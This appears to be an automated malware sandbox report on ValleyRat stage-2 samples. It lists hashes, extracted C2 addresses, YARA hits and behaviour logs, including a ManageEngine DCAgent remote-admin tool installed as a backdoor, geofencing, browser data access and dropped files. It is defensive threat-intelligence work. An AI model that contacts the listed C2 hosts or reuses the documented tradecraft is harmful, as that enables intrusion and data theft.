Analysis
- max time kernel
258s - max time network
302s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
17/10/2026, 03:16
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
ContactActivation.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
300 seconds
Behavioral task
behavioral2
Sample
CrcLiEnt.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
36 signatures
300 seconds
Behavioral task
behavioral3
Sample
CrcLiEnt.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
35 signatures
300 seconds
Behavioral task
behavioral4
Sample
M20261015258.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
36 signatures
300 seconds
Behavioral task
behavioral5
Sample
M20261015258.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
34 signatures
300 seconds
Behavioral task
behavioral6
Sample
eapprovp.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
300 seconds
General
- Target CrcLiEnt.dll
- Size 5.6MB
- Sample261017-dsppgach53
- SHA256 b9fd61498d6345769dff6a33a8334c24cba3a03b3c0cb65acf95882bdc5670b3
- MD5 7e8d00b667f7368a5e01860342419b07
- SHA1 6a2025bdb833f875779a101aea13557d6c60faf0
- SHA512 aad599881afda0c1d384adc06ba877e1c12e230f0d150e24690a784a53aca8148c1cc91596e25a94e659a383330a2097f73e39309541315112cab5c0191796cd
- SSDEEP 98304:AO7L2n0i7nc86NlSCtTKbdo6ClG9UeRPuH/yuK0OF:AO73PNwC6e+DU
- TLSH T1DB46CF467AF840BAC4B6C172CA678AAFD3F274410D35DB1F42810A4A6F777619E1B336
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
valleyrat_s2
C2
-
hscbhjsdbj.cc:6125
-
hscbhjsdbj.cc:5216
Signatures
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Detects ValleyRAT payload 7 IoCs
resource yara_rule behavioral2/memory/4072-0-0x0000024926A30000-0x0000024926A99000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/4072-1-0x0000024926BA0000-0x0000024926C10000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/4072-2-0x0000024926BA0000-0x0000024926C10000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/4072-5-0x0000024926BA0000-0x0000024926C10000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/4072-6-0x0000024926BA0000-0x0000024926C10000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/4072-7-0x0000024926BA0000-0x0000024926C10000-memory.dmp family_valleyrat_stage_2_v2 behavioral2/memory/4072-20-0x0000024926BA0000-0x0000024926C10000-memory.dmp family_valleyrat_stage_2_v2 - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 16 4072 rundll32.exe 17 4072 rundll32.exe 30 4072 rundll32.exe 32 4072 rundll32.exe 36 4072 rundll32.exe 45 4376 msiexec.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 40 2752 curl.exe - Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe Key value queried \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation dcmetroapps.exe - DCAgent remote management tool 4 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral2/files/0x00070000000246a5-62.dat hacktool_dcagent behavioral2/files/0x00070000000246d5-290.dat hacktool_dcagent behavioral2/files/0x0007000000024747-538.dat hacktool_dcagent behavioral2/files/0x00080000000246c5-848.dat hacktool_dcagent - Executes dropped EXE 64 IoCs
pid Process 1792 rundll32.exe 1868 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 4104 dcagentregister.exe 4184 7za.exe 3288 dcagentservice.exe 1968 7za.exe 2548 7za.exe 3792 dcstatusutil.exe 4624 dcagentservice.exe 4472 dcinventory.exe 4352 CRU_Reporter.exe 2172 dcconfig.exe 3084 dcusbsummary.exe 2004 dcusb64.exe 4596 dcstatusutil.exe 3232 dcondemand.exe 6108 dcswmeter.exe 644 dcinventory.exe 4612 dcagentregister.exe 3048 dcconfig.exe 2948 dcconfig.exe 5036 dcpatchscan.exe 1968 dcmetroapps.exe 5156 UEMSAgentHealthChecker.exe 3548 UEMSAgentHCHelper.exe 4312 UEMSAgentHCHelper.exe 4136 UEMSAgentHCHelper.exe 5504 7za.exe 2236 7za.exe 5228 7za.exe 2752 7za.exe 1216 dcinventory.exe 3540 7za.exe 4900 7za.exe 4228 7za.exe 2068 7za.exe 3348 7za.exe 2576 7za.exe 1540 7za.exe 456 DCProcessMonitor.exe 4556 dcuploadlogs.exe 996 7za.exe 2548 7za.exe 4980 7za.exe 4992 7za.exe 5884 7za.exe 3008 7za.exe 4752 7za.exe 4884 7za.exe 6004 7za.exe 3044 7za.exe 3284 7za.exe 692 7za.exe 2000 7za.exe 1240 7za.exe 4176 7za.exe 64 7za.exe 2472 7za.exe 4856 7za.exe 5100 7za.exe 3144 7za.exe 1196 7za.exe 2992 7za.exe 2580 7za.exe - Loads dropped DLL 64 IoCs
pid Process 1100 MsiExec.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 4104 dcagentregister.exe 3288 dcagentservice.exe 3792 dcstatusutil.exe 3792 dcstatusutil.exe 3792 dcstatusutil.exe 3792 dcstatusutil.exe 3792 dcstatusutil.exe 3792 dcstatusutil.exe 3792 dcstatusutil.exe 3792 dcstatusutil.exe 3792 dcstatusutil.exe 4624 dcagentservice.exe 4472 dcinventory.exe 4472 dcinventory.exe 4472 dcinventory.exe 3084 dcusbsummary.exe 2172 dcconfig.exe 4472 dcinventory.exe 2172 dcconfig.exe 2172 dcconfig.exe 2172 dcconfig.exe 4596 dcstatusutil.exe 3232 dcondemand.exe 6108 dcswmeter.exe 644 dcinventory.exe 3232 dcondemand.exe 4596 dcstatusutil.exe 3232 dcondemand.exe 2172 dcconfig.exe 4596 dcstatusutil.exe 3232 dcondemand.exe 4596 dcstatusutil.exe 4596 dcstatusutil.exe 4596 dcstatusutil.exe 644 dcinventory.exe 4612 dcagentregister.exe 4612 dcagentregister.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 3188 icacls.exe 6064 icacls.exe 5200 icacls.exe 2664 icacls.exe 4608 icacls.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 45 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\M: msiexec.exe - Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 28 api.ipify.org 30 api.ipify.org 35 ip-api.com - Drops file in System32 directory 63 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\398EE64D66758B5715368AA94044B13A dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8BD11C4A2318EC8E5A82462092971DEA dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8BD11C4A2318EC8E5A82462092971DEA dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0972B7C417F696E06E186AEB26286F01_6DEFC1B0F00B73D870DAEE9AD78095DA dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3D0AC26322348780E90E022EA217C58C dcprocmon.exe File opened for modification C:\Windows\system32\CrCLiEnt.DLL rundll32.exe File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_986C7EDF85F5859081F49AE7B6205CDD dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BAEBE581FCB73249406FC21094EA252E_BC0CE803EF41A748738619ED7838EEFC dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_5F3BC5C5F7FAA52EBA878B0B3A4A5C86 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_56DB209C155B5A05FCBF555DF7E6D1BB dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D84E548583BE1EE7DB5A935821009D26_5B98B6CD6E69202676965CF5B0E2A7A7 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_56DB209C155B5A05FCBF555DF7E6D1BB dcprocmon.exe File created C:\Windows\System32\DriverStore\FileRepository\input.inf_amd64_adeb6424513f60a2\input.PNF dcinventory.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8890A77645B73478F5B1DED18ACBF795_C090A8C88B266C6FF99A97210E92B44D dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DA3B6E45325D5FFF28CF6BAD6065C907_FBEAFB4EE7383EC8E0A3A2C1EC7FCEAC dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1401C7EC8E96BC79CBFD92F9DF762D_E35D496D1CD0B884BEBCAFED0FE61600 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_5F3BC5C5F7FAA52EBA878B0B3A4A5C86 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_64A201640BD8E31E72E33FB1EBF9962D dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\229169D96B9C20761B929D428962A0A2_FC65190A8D1232A1711F16F9F20C5149 dcprocmon.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8DFDF057024880D7A081AFBF6D26B92F dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_7AA1872B10F7F2428A1288E96F0B99FA dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0E0EA2CD61F757CEB5BB65FC2C758BF4_59B8C30534EA03831AD62B87D9D5F56A dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C3E814D1CB223AFCD58214D14C3B7EAB dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C3E814D1CB223AFCD58214D14C3B7EAB dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D84E548583BE1EE7DB5A935821009D26_5B98B6CD6E69202676965CF5B0E2A7A7 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BAEBE581FCB73249406FC21094EA252E_BC0CE803EF41A748738619ED7838EEFC dcprocmon.exe File created C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_5938c699b80ebb8f\keyboard.PNF dcinventory.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_64A201640BD8E31E72E33FB1EBF9962D dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0E0EA2CD61F757CEB5BB65FC2C758BF4_59B8C30534EA03831AD62B87D9D5F56A dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\229169D96B9C20761B929D428962A0A2_FC65190A8D1232A1711F16F9F20C5149 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\229169D96B9C20761B929D428962A0A2_E724097EF7BBA8B1CB3228AA4D2ED312 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3D0AC26322348780E90E022EA217C58C dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_986C7EDF85F5859081F49AE7B6205CDD dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\398EE64D66758B5715368AA94044B13A dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\229169D96B9C20761B929D428962A0A2_E1B17CAB62C1FF675B22B2FC5D3FEABF dcprocmon.exe File opened for modification C:\Windows\system32\rundll32.exe rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8890A77645B73478F5B1DED18ACBF795_C090A8C88B266C6FF99A97210E92B44D dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8DFDF057024880D7A081AFBF6D26B92F dcprocmon.exe File created C:\Windows\System32\DriverStore\FileRepository\usbport.inf_amd64_254cd5ae09de6b08\usbport.PNF dcinventory.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\229169D96B9C20761B929D428962A0A2_E724097EF7BBA8B1CB3228AA4D2ED312 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_7AA1872B10F7F2428A1288E96F0B99FA dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3E3E9689537B6B136ECF210088069D55_E93D4349D1D2AF4AE2F3CBFF382A5C9D dcprocmon.exe File created C:\Windows\System32\DriverStore\FileRepository\msmouse.inf_amd64_1793a485b491b199\msmouse.PNF dcinventory.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DA3B6E45325D5FFF28CF6BAD6065C907_FBEAFB4EE7383EC8E0A3A2C1EC7FCEAC dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0972B7C417F696E06E186AEB26286F01_6DEFC1B0F00B73D870DAEE9AD78095DA dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\229169D96B9C20761B929D428962A0A2_E1B17CAB62C1FF675B22B2FC5D3FEABF dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3E3E9689537B6B136ECF210088069D55_E93D4349D1D2AF4AE2F3CBFF382A5C9D dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1401C7EC8E96BC79CBFD92F9DF762D_E35D496D1CD0B884BEBCAFED0FE61600 dcprocmon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD dcprocmon.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 512 WScript.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcondemandhangaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcSwscript.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\InstalledSoftwareScan_Data.json dcprocmon.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\dcfafilter.cat 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\me-sign.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UemsRoMovement.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Updates.svg msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdservice.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dctoolshardware.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ko_KR.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcParseFailure.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\eol-service-packs.json.gz dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\vulnerable-scan-data.xml 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win8.1\DCFAFilter.inf 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemandtasks.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentremofficehistory.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\me_hive_backup.reg dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\3aab30fd-8cd4-3ddf-dca4-9695108a3f5e.tmf 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10\dcfafilter.cat 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\close_top_hover.gif msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\partialApp.json msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz5484.tmp dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rapchat.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ues_agentserviceaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdsagentwindow.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UIControls.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_hu_HU.properties 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\drvforceupdate.exe.gz dcpatchscan.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_agentservice.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devicescanaccess.log dcinventory.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\quick-updates.json5172.tmp dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\InstalledSoftwareScan_DataDiff.json dcprocmon.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCFAUser.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Internet_Connection.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcuploadlogs.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\application-agent-store.json meaap.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win8 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_user.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\upload-patches.json dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10\dcfafilter.cat 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10\DCFAFilter.sys 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\resources.zip 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\global_data_store.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\cru-monitor-list.json msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcfilteraccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchdownloadaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcswmetercollector.log dcswmeter.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-diff-scan-settings.xml dcpatchscan.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\superseded-tree-scan-data.xml 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\WakeOnLan.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb32.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\patchresource-vul.xml.gz2160.tmp dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\NotifDriver_W81x64.sys 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10\DCFAFilter.sys 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win8.1 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ja_JP.properties 7za.exe - Drops file in Windows directory 25 IoCs
